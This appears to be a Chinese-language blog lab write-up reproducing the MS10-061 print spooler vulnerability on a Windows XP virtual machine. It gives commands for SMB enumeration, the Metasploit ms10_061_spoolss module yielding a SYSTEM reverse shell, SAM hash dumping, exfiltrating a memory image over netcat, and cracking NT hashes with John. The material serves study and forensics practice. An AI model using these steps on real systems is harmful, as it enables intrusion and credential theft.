ms10-061漏洞复现

漏洞介绍

Windows打印后台程序没有充分限制访问该服务的用户权限,攻击者可以通过提交特制的打印请求在windows系统目录(%SystemRoot%system32)中创建文件。

攻击者可指定任意文件名,包括目录遍历,通过发送WritePrinter请求,攻击者可以完全控制创建文件的内容。

将文件写入到windows系统目录后,通过WMI来部署恶意程序,因为系统会自动运行%SYstemRoot%System32WbemMOF文件夹的mof文件、执行命令。

该漏洞首次被发现并应用于著名的Stuxnet蠕虫。

实验环境

攻击机:Kali Linux虚拟机

靶机:Windows xp sp3虚拟机

靶机环境配置

1. 获取靶机IP

ipconfig

2. 创建共享打印

打开控制面板,找到“打印机和传真”,双击打开后,右键选择“添加打印机”。有几个地方的配置可能需要修改一下:


在这里插入图片描述

后面还需要选择打印机厂商和型号,这个随便选择即可,名字也可以随意。不需要打印测试页。

在这里插入图片描述

完成后,右键新建的打印机,选择“共享”,点击下方的蓝字,不需要使用向导。

攻击

1. nmap扫描靶机

nmap -sS -sU -O -p137-139,445 靶机IP

根据结果可知,靶机存在NetBIOS和RPC服务(139,445)。

2. 查找NetBIOS名称

nmblookup -A 靶机IP

NetBIOS工作站名字:ALLEYN-DBDD2110

NetBIOS组名:WORKGROUP

Master Browser: _MSBROWSE_

第二列解释(NetBIOS后缀)可以参考百度百科:NetBIOS协议

第四列为节点类型:

节点类型 含义
B 0x01 Broadcast
P 0x02 Peer(WINS only)
M 0x04 Mixed(broadcast,then WINS)
H 0x08 Hybrid(WINS,then broadcast)

3. 访问SMB资源

smbclient -L \NetBIOS工作站名字 -I 靶机IP -N

如果提示protocol negotiation failed: NT_STATUS_IO_TIMEOUT,就修改/etc/samba/smb.conf,在[global]下添加两行:

   client min protocol = CORE
   client max protocol = SMB3

正常情况下的返回结果如图,可以查看到我们之前在靶机创建的MyPrinter。

4. 使用MSF进行攻击

启动msfconsole,载入模块,查看需要配置的参数。

msfconsole
use exploit/windows/smb/ms10_061_spoolss
show options

之后配置各项参数。

设置payload参数并配置。

开始攻击,如果攻击成功,会出现下面的提示。

恶意程序被写入到靶机的%SystemRoot%system32cMityUuf3mMo72.exe,此程序运行后反弹一个shell给kali,从而建立了一个Meterpreter会话。该恶意程序是通过%SystemRoot%system32wbemmofWSsM5g8MoL5KHr.mof控制运行的。

5. 验证操作

可以看到我们已经获取了系统的system权限,``getpid也得到了当前Meterpreter会话的进程ID。执行shell`后可以直接进入靶机的命令行界面。

# 查看该PID的相关进程,可以看到刚才写入的恶意程序
tasklist /v /fi "PID eq "进程ID"
# 查找该PID关联的网络链接
netstat -nao | findstr "进程ID"

信息收集取证

1. 进行基本的信息收集取证

# 进程信息收集
tasklist > forensics_tasklist.txt
# 网络信息收集
netstat -ano > forensics_netstat.txt
# 目录文件信息收集
dir > dir_forensics.txt

收集完成后,退出shell。

2. 获取SAM数据库信息

输入hashdump获取SAM数据库,将获取到的信息复制到一个文本文件。

3. 建立远程取证收集环境

nc -lvvvp 7777 > ms10_061.dd

4. 收集受害者内存信息

Helix下载地址:点击此处

下载Helix 2008R1,下载完成后为一个iso文件,把它挂载在windows虚拟机上,然后在虚拟机中挂载并打开。

进行如下配置后,点击“Acquire”,出现弹窗后点击“Yes”。“Destination IP”为攻击机IP。

等待内存信息收集完成,完成后会自动关闭此cmd窗口。

收集完成后,回到kali,对7777端口的监听也自动结束了,ls -lh查看收集到的文件,共1.6G。

5. 收集其他取证文件

下载之前收集的进程信息、网络信息和恶意程序。

download C:\WINDOWS\system32\forensics_tasklist.txt 下载目录
download C:\WINDOWS\system32\forensics_netstat.txt 下载目录
download C:\WINDOWS\system32\dir_forensics.txt 下载目录
download C:\WINDOWS\system32\恶意程序名称 下载目录

下载完成后可以在对应的目录下看到收集到的文件。

6. 使用John破解密码

cp ./samhash.txt
grep -i admin samhash.txt > adminhash.txt
john --format=nt adminhash.txt

正常情况下,会在(Administrator)前面显示管理员密码,由于我没有设置密码,所以这里为空。

参考链接

原文地址:https://www.cnblogs.com/Alleyn180400524/p/13628227.html